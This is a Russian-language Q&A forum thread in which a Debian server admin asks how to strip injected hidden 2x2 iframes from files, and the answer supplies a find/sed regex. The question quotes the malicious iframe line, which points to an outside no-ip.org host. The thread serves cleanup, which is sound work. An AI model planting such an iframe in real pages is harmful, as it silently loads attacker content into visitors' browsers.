Debian, внедрение поиска и замены iframe [дубликат]

На этот вопрос уже есть ответ здесь:

У нас запущен сервер Debian, и у нас есть вредоносная программа или что-то еще, выполняющее внедрение кода.

Я знаю, как искать и заменять эту строку:

<iframe src="http://ingvar2000.no-ip.org/jc/rss.php" width="2" height="2" frameborder="0"></iframe>

Я делаю это следующим образом:

find /home -type f | xargs sed -i 's$<iframe src="http://ingvar2000.no-ip.org/jc/rss.php" width="2" height="2" frameborder="0"></iframe>$ $g'

Моя проблема - URL http://ingvar2000.no-ip.org/jc/rss.php изменяется от файлов к файлам, поэтому как я могу искать и заменять:

<iframe src="ANY STRING HERE" width="2" height="2" frameborder="0"></iframe>

Потому что ширина, высота и рамка кадра всегда одинаковы.

0
задан 1 March 2013 в 17:15
1 ответ

Используйте

find /home -type f | xargs sed -i 's$<iframe src="[^"]*" width="2" height="2" frameborder="0"></iframe>$ $g'

здесь [^ "] * означает 0 или более символов чего угодно, кроме " .

1
ответ дан 4 December 2019 в 21:25

Теги

Похожие вопросы